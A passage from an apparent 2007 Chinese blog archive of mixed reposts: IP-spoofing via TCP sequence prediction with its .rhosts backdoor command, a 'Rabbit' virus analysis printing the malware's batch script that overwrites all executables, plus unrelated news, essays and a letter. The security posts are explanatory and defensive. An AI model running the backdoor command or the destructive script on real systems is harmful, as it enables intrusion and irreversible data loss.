    ·如果估计的序列号大于期待的数字,并且在滑动窗口(前面讲的缓冲)之内,那么,该数据被认为是一个未来的数据,TCP模块将等待其它缺少的数据。如果估计的序列号大于期待的数字,并且不在滑动窗口(前面讲的缓冲)之内,那么,TCP将会放弃该数据并返回一个期望获得的数据序列号。下面将要提到,黑客的主机并不能收到返回的数据序列号。 
     
    1 Z(B) ----SYN ---> A
    2 B <---SYN/ACK--- A
    3 Z(B) -----ACK---> A
    4 Z(B) ---——PSH---> A
     
    攻击者伪装成被信任主机的IP 地址,此时,该主机仍然处在停顿状态(前面讲的丧失处理能力),然后向目标主机的513端口(rlogin的端口号)发送连接请求,如时刻1所示。在时刻2,目标主机对连接请求作出反应,发送SYN/ACK数据包给被信任主机(如果被信任主机处于正常工作状态,那么会认为是错误并立即向目标主机返回RST数据包,但此时它处于停顿状态)。按照计划,被信任主机会抛弃该SYN/ACK数据包。然后在时刻3,攻击者向目标主机发送ACK数据包,该ACK使用前面估计的序列号加1(因为是在确认)。如果攻击者估计正确的话,目标主机将会接收该ACK 。至此,连接正式建立起来了。在时刻4,将开始数据传输。一般地,攻击者将在系统中放置一个后门,以便侵入。经常会使用 ′cat ++ >> ~/.rhosts′。之所以这样是因为,这个办法迅速、简单地为下一次侵入铺平了道路。
     
    一个和这种TCP序列号攻击相似的方法,是使用NETSTAT服务。在这个攻击中,入侵者模拟一个主机关机了。如果目标主机上有NETSTAT,它能提供在另一端口上的必须的序列号。这取消了所有要猜测的需要。
     
    典型攻击工具和攻击过程:hunt
     
    IP欺骗的防止
     
    防止的要点在于,这种攻击的关键是相对粗糙的初始序列号变量在Berkeley系统中的改变速度。TCP协议需要这个变量每秒要增加25000次。Berkeley 使用的是相对比较慢的速度。但是,最重要的是,是改变间隔,而不是速度。
     
    我们考虑一下一个计数器工作在250000Hz时是否有帮助。我们先忽略其他发生的连接,仅仅考虑这个计数器以固定的频率改变。
     
    为了知道当前的序列号,发送一个SYN包,收到一个回复:
    X---S: SYN(ISN X ) 
    S---X: SYN(ISN S ) ,ACK(ISN X ) (1)
    第一个欺骗包,它触发下一个序列号,能立即跟随服务器对这个包的反应:
    X---S: SYN(ISN X ) ,SRC = T (2)
    序列号ISN S用于回应了:
    S---T: SYN(ISN S ) ,ACK(ISN X )
    是由第一个消息和服务器接收的消息唯一决定。这个号码是X和S的往返精确的时间。这样,如果欺骗能精确地测量和产生这个时间,即使是一个4-U时钟都不能击退这次攻击。
     
    抛弃基于地址的信任策略 
     
    阻止这类攻击的一种非常容易的办法就是放弃以地址为基础的验证。不允许r*类远程调用命令的使用;删除.rhosts 文件;清空/etc/hosts.equiv 文件。这将迫使所有用户使用其它远程通信手段,如telnet、ssh、skey等等。 
     
    进行包过滤 
     
    如果您的网络是通过路由器接入Internet 的,那么可以利用您的路由器来进行包过滤。确信只有您的内部LAN可以使用信任关系,而内部LAN上的主机对于LAN以外的主机要慎重处理。您的路由器可以帮助您过滤掉所有来自于外部而希望与内部建立连接的请求。 
     
    使用加密方法 
     
    阻止IP欺骗的另一种明显的方法是在通信时要求加密传输和验证。当有多种手段并存时,可能加密方法最为适用。 
    使用随机化的初始序列号 
     
    黑客攻击得以成功实现的一个很重要的因素就是,序列号不是随机选择的或者随机增加的。Bellovin 描述了一种弥补TCP不足的方法,就是分割序列号空间。每一个连接将有自己独立的序列号空间。序列号将仍然按照以前的方式增加,但是在这些序列号空间中没有明显的关系。可以通过下列公式来说明: 
     
    ISN =M+F(localhost,localport ,remotehost ,remoteport ) 
    M:4微秒定时器 
    F:加密HASH函数。 
     
    F产生的序列号,对于外部来说是不应该能够被计算出或者被猜测出的。Bellovin 建议F是一个结合连接标识符和特殊矢量(随机数,基于启动时间的密码)的HASH函数。
  • 2008万元叫卖“奥运域名”

    2007-04-20 09:23:25

    “网上一个‘www.2008中国奥运会专题网.com’的域名转售,开价要20080000元。”昨天(19日)上午,家住闵行的孙先生向记者反映称,淘宝网上网友出售的“奥运域名”动辄就是十几万,“域名里带上字母A、O全都价格不菲。”

        记者在随后的采访中发现,随着奥运日益临近,原先已经归于平静的域名投资又逐渐成为网友热议的话题,几十元注册来的域名价格全都飙升至万。对于这股投资热,业内人士表示,过多的“奥运域名”出现反而会削弱其投资价值,网友投资时还需谨慎。

        “奥运域名”个个身价不菲

        根据孙先生提供的资料,记者在淘宝以及易趣等交易平台上发现,内含奥运开幕日期,O、Y字母,2008甚至福娃名字域名都出现在了出售的奥运域名列表中,而且几乎个个价格不菲。其中一个“‘www.2008中国奥运会专题网.com’转售”的页面中,网名为“我叫小狼”的卖家将该中文域名与“www.2008oy.cn”的英文域名一同打包出售,开出了20080000元的天价。

        记者随后以买家的身份与这位网友取得了联系,他告诉记者,这两个中英文域名确实是他自己所注册的,但至今还没有买家与其洽谈。

        记者对淘宝网带有“奥运”两字的域名进行了一番搜索,相关域名就有60多个。采访中,大部分卖家都向记者坦言,目前“奥运域名”十分抢手,但往往是询问的人多过真正购买的人。一个同时出售5个域名的网友“刘刘”告诉记者,“奥运域名”如今是圈内投资的热点,“虽然买的人少,但注册这样一个域名只需要几十元的成本,因此还是有许多人热衷于此。”

        “玉米虫”纷纷淘金域名

        “域名就是企业或机构在互联网上的注册用名,它像门牌号码一样,注册域名就像买下了一幢互联网上的‘房子’。”对于域名投资引发的抢注,记者采访了一位不愿意透露姓名的业内人士,他告诉记者,域名投资最主要的就是能抢注到有商业价值的域名,抢先以注册人的名义注册下来,随后再卖出。

        “就像几年前被人注册走的google.com.cn域名,最后google公司为了拿回该域名花了百万天价。”该业内人士表示,由于域名注册的唯一性而造就了这个商机,因此目前不仅有专人从事该项投资,甚至有公司专门经营注册域名业务。“在行业内,注册域名被称为‘煮玉米’,而从事域名投资的人,则被称为‘玉米虫’。”

        一些域名投资的BBS版主告诉记者,由于“奥运域名”再度成为投资焦点,因此,连带“玉米虫”讨论的专项BBS内的注册会员也增加了两成多。

        专家提醒 抢注不保赚甚至会惹官司

        “域名投资具有投资少、回报率高等特点,这对于资金不足的投资者来说是非常合适的一种投资,但这并不意味着它就是一个稳赚的项目。”一位从事电子商务多年的人士告诉记者,目前行业内域名交易的现象确实十分普遍,“但是,值不值这个价看的还是市场的反应,不管是几十万还是几十元,如果没人买的话,同样没有市场。”

        该人士表示,网友抢注的域名一般转让成功的话,按照业内规定,域名过户收费500元一次,而如果网友转让不成的话,一般“.com”域名的注册年费是55元左右一年,“.cn”域名是39元左右一年,“如果网友一次性注册过多的话,转让不成反而会成为沉重的经济负担。”

        对此,上海六角城律师事务所的罗亮律师表示,根据《中国互联网络域名管理办法》规定,若注册人将他人的商标、企业名称、姓名等民事权利词汇抢注为域名,而自己没有相应民事权益,且注册目的不是为了正当使用,注册人则有可能招惹官司.

  • 李开复给中国学生的第六封信:选择的智慧

    2007-04-20 09:04:48

     

    引言

    我觉得,对于青年学生来说,最重要的不是具体的准则或方法,而是在复杂情况下权衡各种影响因素,并以最为智慧的方式作出正确抉择的能力。我把这种能力称为“选择的智慧”,它的思想核心其实就是中国传统文化中传承了2000多年的“中庸”之道。

    著名管理学家彼得·德鲁克曾说,21世纪是一个选择的世纪,因为未来的历史学家如果回顾今天,他们会记得的今天最大的改革并不是技术方面或网络方面的革新,而是——人类将拥有选择的权利。他说这句话是因为在今天的信息社会里,人人都能获取信息、学习知识、靠脑力上进,人人都有机会,那么人的成功就更要看各人积极地争取和智慧地选择。

    在与大学生的书信交流及创办“开复学生网”的过程中,我看到有很多学生虽然拥有选择的权利,虽然生活在优越的大环境中,但仍然有许多学生时常遇到迷茫的时刻。例如,经常有学生问我有关如何进行选择的问题。

    我的回答是:

    我能帮你做的不是选择,因为你自身的问题只有自己最清楚,自己的未来也只有自己最在意。

    我能做的只是传授给你选择的智慧,帮你聆听自己心底里最真实的声音,帮助你做出智慧的选择。

    我提出选择成功的智慧共有8种:

    用中庸拒绝极端;用理智分析情景;用务实发挥影响;用冷静掌控抉择;用自觉端正态度;用学习积累经验;用勇气放弃包袱;用真心追随智慧。

    用中庸拒绝极端

    “中庸”是儒家思想的精华,遗憾的是,许多人并不理解中庸真正的内涵。其实,中庸告诉我们的最重要的一点,就是要避免并拒绝极端和片面。

    比如说,在我的第五封信中提出的积极主动,如果做到了极端,就变成了霸道,喜欢对别人颐指气使。在我的第二封信中提出与人相处最重要的同理心,如果做到了极端,就变成了盲从,什么事都没有主见。极端的自信就成了自傲,极端的勇气就成了愚勇,极端的胸怀就是懦弱,极端的自省就会变成自卑。

    我曾经亲身经历了一个极端的测验:公司在培训课程中,让10个副总裁围成一圈,一个半小时内可以畅所欲言,惟独不可以讲公司的事情。于是,大家开始谈论天气、政治、体育……其间还出现了争执。一个半小时后,每个副总裁都按自己心目中对其他副总裁的尊敬程度,为他们排一个序,并把自己安插在合适的位置。排序后我们发现:倒数第一的是从头到尾没有讲话的人,倒数第二是话最多的人。不说话的人可能有想法,但没有表达出来,那么别人就会认为他没有意见。相反,话太多的人可能有一部分话很有意义,但也讲了许多不该讲的话,这使他无法得到大家的好评。

    所以,“沉默是金”和“口无遮拦”都不可取,那么我们怎么达到“中庸式的智慧沟通”呢?这让我想起另一个故事:记得我刚进入苹果公司开始我的第一份工作时,公司里有一位经理叫西恩,大家都知道他是一个非常有才华的人,尤其在开会的时候,他得体的言辞完美地展现出他过人的才学、情商与口才,足以让在场的所有人钦佩不已。有一天,我鼓足勇气去向西恩讨教有效沟通的秘诀。西恩说:“我的秘诀其实很简单:我并不总是抢着发言;当我不懂或不确定时,我的嘴闭得紧紧的;但是,当我有好的意见时,我绝不错过良机——如果不让我发言,我就不让会议结束。”我问他:“如果别人都抢着讲话,你怎么发言呢?”西恩说:“我会先用肢体语言告诉别人:下一个该轮到我发言啦!例如,我会举起手,发出特殊的声响(如清嗓子声),或者用目光要求主持人让我发言。但是,如果其他人的确霸占了所有的发言机会,我就等发言人调整呼吸时,迅速接上话头。”我又问他:“如果你懂得不多,但是别人向你咨询呢?”西恩说:“我会先看看有没有比我懂得更多的人帮我回答。如果有,我会巧妙地把回答的机会‘让’给他;如果没有,我会说‘我不知道,但是我会去查’,等会开完,我一定去把问题查清楚。”他的一席话让我学到了很多东西——只要把握好说话的度,选择好说话的时机,就可以得到周围人的尊敬。

    用理智分析情景

    中庸之道不但强调守诚中道,也要求我们择善而从。

    在面临选择时,我们先用第一个智慧避免走向极端的陷阱,然后用第二个智慧在复杂、多变的环境中,审慎而冷静地选择最好的解决方案。

    记得曾有一位青年问我:“我不同意我的老板的意见,我该站起来发言吗?”

    当时,我的回答是:“这要看情形而定。首先,你的老板是一个愿意接纳异议的人吗?如果不是,那么你千万不要乱发言,但是,你可以开始物色一个新工作和新老板了!如果他能够接受异议,那么,在老板还没做出最后的决定时,不要怕提出异议;但同时也要考虑到,如果是当众发言,自己的话就必须有一定的技巧,应当顾虑到老板的面子。老板一旦做出了决定,我们无论有无异议,都必须支持和贯彻,有不同意的地方只可以私下与老板沟通。”

    在这样一个具体的例子里,我们必须学会用智慧甄别各种复杂的情况,并从不同候选方案中择善而从的方法。

    另一方面,我们可以看到领导艺术也同样需要择善而从。许多人误以为,好的领导都有完全相同的风格,例如:指挥命令、宏观掌控、和谐合作、民主自由、授权负责、指导培养。

    其实,在著名的管理学著作《有效率的领导》一书中,作者丹尼尔·戈德曼提出:最好的领导能够完整地拥有上述的六种看起来相互矛盾的领导力,并会有智慧地因具体情景不同而运用正确的一种。

    人生中的绝大多数选择都不是非黑即白、非此即彼的事情。大家要学会在最合适的时候对最合适的人用最合适的方法,要学会在做出决定前用理智全面衡量各种因素的利弊以及自己的能力和倾向。

    用务实发挥影响

    选择完整与均衡时,你必须首先弄清楚,你面临的事情是你能够影响到的,还是你根本无力改变的。史蒂芬·柯维在其所著的《高效能人士的七个习惯》一书中,把所有值得关注的事情称为“关注圈”,把能够发挥影响的事情称为“影响圈”。

    在整个关注圈中,根据自主程度的高低,人生面临的问题可分为三类:

    可直接影响的问题:对于这种问题,解决之道在于用正确的态度执行。这是我们绝对做得到的,也是最核心的“影响圈”。

    可间接影响的问题:有赖改进发挥影响力的方法来加以解决,如借助人际关系、团队合作和沟通能力来解决。这是最值得我们努力争取的“影响圈”。

    无能为力的问题:需要以平和的态度和胸怀,接纳这些问题。纵使有再多不满,也要泰然处之,如此才不至于让问题征服了我们。

    无论碰到任何问题,如果你认为“外在环境是造成问题的症结所在”,或者总是在埋怨“我真的无能为力”,那么,这种想法不但于事无补,而且会造成你消极悲观的心理状态。

    事实上,碰到问题时,你只要耐心地将它分解开,看看哪些部分是你可以影响的,哪些部分是你可以关注但却无法影响的。然后,去努力争取那些可以“间接影响”的问题,让它们变成可“直接影响”的,同时把全部心力投入自己的影响圈——你可以在这样的过程中不断获得进步,这反过来又可以让你进一步扩大自己的影响圈。

    所以,不管一个问题属于上述三种中的哪一种,解决问题的第一步都要从自己的影响圈开始:先影响自己,再影响别人,最后才有可能影响环境。

    这个方法为“有勇气来改变可以改变的事情,有胸怀来接受不可改变的事情,有智慧来分辨两者的不同”这三句话增加了足够的可操作性。

  • "末日阴影"病毒作者公开留言

    2007-04-19 10:19:27

     

    昨天,一款恶性电脑病毒“末日阴影”(Win32.BlackDay)被金山截获。该病毒可摧毁被感染电脑中的绝大部分文件,并无法恢复,导致系统崩溃。同时,作者在病毒程序内公开留言,挑衅反病毒厂商。

    金山毒霸反病毒工程师戴光剑说,用户一旦感染该病毒,电脑会自动弹出一个病毒作者的留言框,“Your computer were infect my worm! And if you want to clear this worm,please add my QQ number *******”(你的电脑感染了我的蠕虫,如果你想清除这个蠕虫,请加我的QQ,号码为……),更嚣张的是病毒作者还留下了自己年龄17岁和网络ID等信息。

    据分析,“末日阴影”会针对受感染电脑内的绝大部分文件进行摧毁性的操作,包括感染网页文件、可执行文件和删除其他文件等,而且破坏后的文件无法被恢复。

    反病毒工程师提醒,在使用U盘等移动存储设备前,用户一定要利用杀毒软件进行扫描,以防病毒利用U盘传播。(n101)

  • e时代最重要的十个职位

    2007-04-12 10:14:28

     

    据有关专家预测,在2003年至2010年间,下列十个职位将至关重要:

      1、总监理(CMO):监督企业业务发展和各项规章制度的落实、实施,关注企业的发展进程,及时发现问题和解决问题。

      2、电子商务市场经理:指导企业在网络经济中各项业务的展开。

      3、新型市场主管:由传统的市场推介、宣传工作转向建立以解决方案为基础的新型客户关系。

      4、电子交易经营者:选择供应商,联系客户并与之建立有效的联系。

      5、客户分析专家:关注市场发展方向,洞悉未来市场需求并探究其原因。

      6、执行督导:由于网络市场中存在着大量交易行为,企业将需要执行督导来确保各项业务的整合与执行。

      7、人力资源经理:任何时代都少不了的职位。为企业提供训练有素的工作人员。

      8、电子商务整合人员:将传统商务运作流程转移至新型电子商务模式中。

      9、经济学家:预测电子商务时代中的经济发展环境,供企业家决策参考。

      10、人类学家:看上去好像与电子、网络没什么关系,但只有他们才能对人类的行为做出正确的判断和描述。

  • [转贴]兔子病毒的分工工作模式和清理方法

    2007-04-10 10:56:13

    工作模式:

    兔子的几个文件之间存在明显的分工合作关系:

    当病毒原文件Rabbit.exe被执行后,会在system32下释放出loveRabbit.exe、jk.exe和love.bat,并执行loveRabbit.exe和love.bat

    先看看下面love.bat的内容吧,列出defgh分区和program files的exe文件的列表c:\windows\下的msconfig.inf和msconfig1.inf,并用两个for命令调用copy命令把列表中的exe文件全部用Rabbit.exe替换掉!需要知道这个行为比熊猫和硬盘杀手还有恨,这样丢失的数据基本上是找不回来的!

    FOR   %%a in ( d: e: f: h: g: ) do dir /s/b %%a\*.exe>>c:\windows\msconfig.inf
    cd C:\Program Files
    dir *.exe /s /b >>c:\windows\msconfig1.inf
    FOR   /f "delims=" %%i in (c:\windows\msconfig.inf) do copy /y "C:\WINDOWS\system32\Rabbit.exe" "%%i"
    FOR   /f "delims=" %%i in (c:\windows\msconfig1.inf) do copy /y "C:\WINDOWS\system32\Rabbit.exe" "%%i"


    其中loveRabbit.exe是比较关键的一个进程,这个病毒的大部分工作是由它做的,它负责在system32下生成msexch400.dll并插入winlogon.exe进程;不断生成loveRabbit.bat和DEFG分区根目录下面的autorun.inf文件,并执行不断loveRabbit.bat;
    删除注册表项HKLM\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}和HKLM\SYSTEM\ControlSet001\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318},不断添加注册表项HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{4bf41072-b2b1-21c1-b5c1-0305f4155515}\StubPath;而且它还能关闭icesword和sreng等安全软件;它还能对安全模式的键值作出检查,如被修复了它立刻删除相关键值;

    另外一个批处理就是被loveRabbit.exe不断执行的loveRabbit.bat,作用是不断的将病毒文件设置系统和隐藏属性;

    attrib +s +h C:\WINDOWS\system32\msexch400.dll
    attrib +s +h d:\Rabbit.exe
    attrib +s +h e:\Rabbit.exe
    attrib +s +h c:\Rabbit.exe
    attrib +s +h f:\Rabbit.exe
    attrib +s +h g:\Rabbit.exe
    attrib +s +h h:\Rabbit.exe
    attrib +s +h e:\AutoRun.inf
    attrib +s +h f:\AutoRun.inf
    attrib +s +h c:\AutoRun.inf
    attrib +s +h d:\AutoRun.inf
    attrib +s +h h:\AutoRun.inf
    attrib +s +h g:\AutoRun.inf


    而被插入msexch400.dll模块的winlogon.exe的线程数会不断上升,干扰正常的关机和注销,并在loveRabbit.exe被结束时由winlogon.exe重新启动;

    至于jk.exe的工作就简单多了,它运行后会检查loverabbit.exe是否被关闭,如关闭了就重新运行它,之后便退出,是用于系统启动时激活病毒的进程;

    还有就是在各个分区下面的autorun.inf和rabbit.exe,用于双击进入分区时重新激活病毒;

    明显的分工,编写者的思路很清晰,启动用的jk.exe、主要工作进程loverabbit.exe、插入模块msexch400.dll和两个bat文件等,各有各做的事情,合作起来使得运行后病毒很难会被结束掉;



    清理办法:

    由于它的进程守护太好了,要关闭它实在不容易,而且安全模式被破坏了,就只有令想办法了……
    方法一:但这个病毒有个疏忽的地方,就是jk.exe不能靠loverabbit.exe进行修复,而这个是系统启动是激活病毒用的,这就给了我们一个激活了;首先到system32文件夹下面删除jk.exe,不过病毒把系统大部分的exe文件都替换了,所有启动项里面一定要先进行清空然后才重启,由于病毒控制了winlogon.exe进程导致不能正常重启,所以我们就用不经过winlogon.exe的重启方式吧,打开任务管理器,然后按着ctrl再选择任务管理器的关机菜单里面的重启,这样就重启成功了,重启完成后正式清理;

    方法二(推荐):映象劫持,最近学回来的东西,嘻嘻;注册表文件的内容如下,将其导入注册表之后就可以正式清理了;

    Windows Registry Editor Version 5.00

    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\loverabbit.exe]
    "Debugger"="dikex.exe"

    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rabbit.exe]
    "Debugger"="dikex.exe"

    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\jk.exe]
    "Debugger"="dikex.exe"


    正式清理:首先到文件夹选项把所有隐藏文件都显示出来,之后删除下面的文件,其中msexch400.dll需要重启或者使用unlocker等工具删除:
    C:\WINDOWS\system32\JK.exe
    C:\WINDOWS\system32\love.bat
    C:\WINDOWS\system32\loveRabbit.bat
    C:\WINDOWS\system32\loveRabbit.exe
    C:\WINDOWS\system32\msexch400.dll
    C:\WINDOWS\system32\Rabbit.exe
    C:\WINDOWS\msconfig.inf
    C:\WINDOWS\msconfig1.inf
    各个分区根目录下面的rabbit.exe和autorun.inf文件

    在我的电脑里面搜索*.exe,把变了兔子图标的文件全部删除(他们无法挽救的了,节哀吧……)

    最后删除注册表HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\下面的{4bf41072-b2b1-21c1-b5c1-0305f4155515},导入下面注册表信息:

    Windows Registry Editor Version 5.00
    [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}]
    @="DiskDrive"
    [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}]
    @="DiskDrive"

    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}]
    @="DiskDrive"

    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}]
    @="DiskDrive"
  • 测试工程师的十二最[转]

    2007-04-09 13:29:50

     测试工程师最开心的事:发现了一个很严重的bug,特别是那种隐藏很深,逻辑性的错误.偶第一次发现这种问题的时候,听到上司和开发人员的表扬时,高兴的就想扭pp.不过现在慢慢矜持些了,呵呵.
      测试工程师最提心吊胆的事:版本release出去后,客户发现了很多或很严重的bug.经过紧张的系统测试之后,好不容易可以轻松一下了,却又陷入了每天担心正在做验收或使用的客户一封邮件或一个电话说产品有问题.碰到好些的老板还会比较乐观的看这样的问题,最惨的就是有些人一顿臭骂,之前的辛苦, 加班全部都给抹杀了.
      测试工程师最憎恨听到的话:"为什么这个bug没有在测试的发现呢?"这句话经常是客户发现bug后,老板对测试人员的质问.当然这里排除那种很明显的错误.其实谁都知道bug是不可能全部发现的,这句话其实也是客户对大头,大头对小兵一级一级问下来的.除了希望测试人员警惕之外,还有更多的是一种" 踢猫"的行为.对于这句话,偶第一次听到这句话的反映是"我们怎么可能发现所有的bug呢",后来变成"制造bug的人不是我们,是开发",到现在的"让我查查我的日志,问问开发这个bug的原因,为什么我们会没有找到,下次我们会怎样"的回复.

      测试工程师最郁闷的事:"刚才那个版本打包打错了,你们要重测".新版本来了,马上投入紧张的测试,希望能够多找些bug.没想到辛苦了可能大半天, 开发人员说打包打错了,你重测吧.这种情况虽然可以通过规范流程之类的办法控制发生的机率,但人总会犯错,多少而已.碰到这样,你除了提醒开发部门下次注意,你除了重测没有太多办法.

      测试工程师最不想面对的事:在测试晚期或最新的版本里发现了以前一直存在的问题,特别是当问题很严重时决定到底报不报bug.报吗,开发人员肯定会问以前有没有这个问题,不报吗,客户发现更惨.毕竟客户或老板的责备比开发部门或主管的责备轻许多,最后还是会报到bug库里的.

      测试工程师最不想做的事:申请版本推迟发布.由于在版本发现了太多的问题,觉得产品不能达到发布的,建议公司推迟发布产品.这时虽然大家都知道产品有问题,尽管你自己也不希望这样,但谁都觉得你是一个制造麻烦的人,毕竟市场的压力很大呀.

      测试工程师最丢人的事:辛苦的发现了一个bug,居然是该配的参数没有配等一些自己的失误造成的.有些该注意的地方居然测试时忘了,找出的问题给开发人员一顿臭扁,无比丢人啦.

      测试工程师最怕的事:一天,甚至几天都没有发现一个bug!经过一段时间的bug高峰期后,有段时间会发现bug数量的减少,最可怕的就是一天都没有发现一个bug.偶有时会难过的吃饭都没心情.搞得偶的开发朋友说了一句最让人吐血的话:"要不要我在代码里放几个bug给你呀,hoho"

      测试工程师最伤心的事:每年的调薪,发bonus或发股票时,测试工程师总比开发工程师少.偶有一同事在调薪的第二天就申请转开发,说测试太没前途了.

      测试工程师最有力的保护方法:把你认为是bug的问题都提交到一个正式的,可以追踪的地方(一般来说是bug库).有时总会碰到一些很小的或是很难判断的问题,犹豫一定是否要报,特别是一些UI的问题.有时问开发人员,他们可能会轻描淡写的回复你导致你没有report它.但多年的经验一定要报,了解 bug流程走向的人都知道,后面还有人verify,还有开发经理判断,如果不是bug,自然他们会回复,会写明原因.说白了,出了问题也不是你的事情. 当然一开始经验不足时会收到一些白眼球,但慢慢经验多了,对系统熟悉了,自然这种情况会少些.人也可以从一些问题中发现自己的弱点.但如果不报,那天客户提出来,你除了懊悔还要面对指责,严重的炒鱿鱼.

      测试工程师最任重道远的事:测试驱动开发.碰到这种开发模式的项目,既是测试扬眉吐气的机会,也是可能会陷你于深渊的恶潭.你就必须打起十二分的精神.等于你在引导开发,有什么问题一定要提出来,否则你就等着被盲目的牵着鼻子走了.

      测试工程师最期待的事:测试能够越来越受重视,测试工程师的考核越来越合理.

  • 人性的异化与升华

    2007-04-06 15:51:41

     

    人的一半是天使,另一半是魔鬼。
                                                                                                 ——题记
        在天堂与地狱之间,生存着各种动物,为了自身的生存与后代的延续,他们都被与生俱来的本能所控制着。而人,则是这种本能与理性思维的混合体。
        人是一根苇草,是自然界最脆弱的生物,但是,他是一根能思想的苇草。正是由于人的思想,才造就了这个超越本能需求的世界。因此,人的全部尊严就在于思想。然而,人的生存却并非易事,难以排遣的孤独和危机感,无法克服的荒诞和恐惧如蛛网般束缚着人的心灵。现实生活中的排挤、压抑、劳累,人在宇宙面前的微小与卑微,使人对无限空间的永恒沉默产生无法排遣的恐惧。
        人的知识是有限的,人的身体也是有限的,人的生命不过百年而非千载,人性的异化,则是人类发展过程中的必经阶段。卡夫卡的《变形记》中,由于沉重的肉体和精神上的压迫,使人失去了自己的本质,异化为非人。在《饥饿艺术家》中,表演者因被关在笼中无限期地绝食,最终饿死。被关在铁笼中的饥饿者,难道不是每一个受压迫者的象征?人们缺少的,正是心灵的鸡汤。
        于是尼采提出了一个惊世骇俗的著名论断:“上帝死了”。这就好像中国人说:“没有天理了”。一个没有天理的世道也就是一个道德沦丧,天良泯灭,霸道横行的世界。被异化的魔鬼主宰世界,他们有着卑微、恐惧和空虚,一切传统价值和道德规范都失去了原来的约束人心的作用,真善美都因为失去了合理性论证而变成相对的,生活也不再具有终极意义,因而一切都是允许的,个人想做什么就可以做什么,而没有共同信仰,没有公认的规范,没有统一奋斗目标的社会也就变成了一个混乱、荒谬、残忍的世界。
        难道这是人类社会的最终归宿?不!不是的。
        人的一半是魔鬼,而另一半是天使。
        人性是由两部分截然相反的基本内容组成的,两者也都是带有本性的色彩,人性天生具有渴望升华的高贵倾向,而人类社会却不可能为满足人性这一种自然张力而设计情境,人性渴望升华的倾向,只是处于被压抑之中。于是便有了关于崇高的赞颂与表演,如诗、戏剧,人性以此种方式达到间接的升华满足,并与人性的异化做着斗争。
        这是一场艰巨的斗争,而人性的升华,也是这一斗争的必然结果。崇高也必将是人性善的极至表现。
        卡夫卡的日记中这样写道:
        不要绝望,甚至对你并不感到绝望这一点也不要绝望,恰恰在似乎一切都要完了的时候,新的力量毕竟来临,给你以帮助,而这正表明你是活着的。
        一场倾盆大雨。站着面对这场大雨吧!让它的钢铁般的光芒刺穿你。你在那想把你冲走的雨水中漂浮,但是你还要坚持,昂首屹立,等待那即将来临的无穷无尽的阳光的照耀。

  • 人民日报:龙芯给我们带来什么

    2007-04-05 17:02:42

    衷心祝贺龙芯二号所取得的了不起的成就.我只是作为一个用户、一个始终关心着我国科学技术事业和产业的人,谈一点我的想法.
    刚才坐在台下,思绪纷纭.我总的想法是,龙芯二号出生、成长,它的意义远远超过计算机硬件研制的技术和产业.
    为什么这么说?


      我们常说创新是一个民族的灵魂.同时,几乎每天、每个小时,中国人都在对世界做出贡献,可是现在我们最主要的贡献是什么?是工业生产和农业生产的低端产品,是解决人们衣食住行的消耗型物质产品——从袜子到领带,从家具、组装板房的材料到我们刚刚“走出去”一点点的汽车.总体说,我们的外贸是顺差的.这个顺差是用什么换来的?当然是产品,但是凝聚在产品里的主要是我们的劳动力.

      一个民族和国家要对世界做出贡献,这只是初级的一步.下一步应该做些什么?应该奉献我们的知识,具体说是奉献我们的技术.龙芯二号的诞生就是在这一点上,我们迈出的重要的第一步.在知识的背后,是中国人的聪明才智.

      这还不是最终的.中国人还应该在这个基础上继续努力,在不断地奉献产品、贡献劳动力、贡献聪明才智的基础上,最后应该贡献一个民族的最精粹的智慧.智慧和聪明才智有什么不同?至少在现在,我的定义是:智慧是关于人生的大道理,关于大自然的大道理,关于人与人之间、人与自然之间、今天与明天之间关系的大道理.这在西方和某些国家是基于宗教教义及其引申的思考.在中国,民族的智慧不是基于宗教,而是基于中华文明五千年沉淀下来的种种经验和思考,它凝聚在儒家的学说、佛教的禅宗、道教的教义以及56个民族和睦共处的那种坚定的理念中.但是,这三个层次的贡献之间并不是绝缘的.因此,我要说第二点.

      以龙芯二号走向世界为标志,我们在贡献自己的聪明才智、贡献知识和技术的时候,实际上已经在推广一个理念,这就是人类的发明应该让整个人类享有,它打破了某些国家在知识上的垄断.

      我们当然重视知识产权的保护.为了完善中国的知识产权保护立法,我曾经带队两次访问设在瑞士的联合国知识产权总部,我和它的总干事以及他的所有助手做了全面的、深入的探讨.但是同时,我意识到,知识产权保护到极致就是知识垄断.现在这种格局已经形成.用什么打破这种知识的垄断?那就是被垄断的民族与国家振奋精神、解放思想,自己也获得相应的知识产权,在知识产权保护的战场上,争取平起平坐,垄断者就垄断不成了.垄断打破之后,中国人和所有发展中国家就朝着那种大同思想、对和平世界的期望切切实实地向前迈进了一步.

      中国人的这种理念就体现在技术成果要让平民百姓享用上我们的技术可以面向广大的人民、面向广大的发展中国家.在李国杰院士的领导下,龙芯二号的研制一开始就树立这样一个目标.在我去参观的时候,他们告诉我,明年或是今年,他们要推出低于2000元的、贫困大学生也可以用上的电脑.这个目标在今天已经实现了.

      这让我想到,近年来我常常带领代表团到发展中国家去访问,几乎每次去的时候,我都要代表中国全国人大向他们赠送礼物.最受欢迎的礼物是什么?电脑,特别是笔记本电脑.在座的朋友可能想象不到,当我宣布我带来的薄礼礼单的时候,在场的议员在议长的带领下欢呼起来!一部笔记本电脑一万多,我们不可能大批的赠送,一般就是一二十部.用龙芯二号装备的廉价笔记本出来了,我们就可以赠送更多一些,他们也就买得起了,让龙芯带着中国人的智慧、中国人的友谊,为中国自己也为填平世界的数字鸿沟作出贡献.

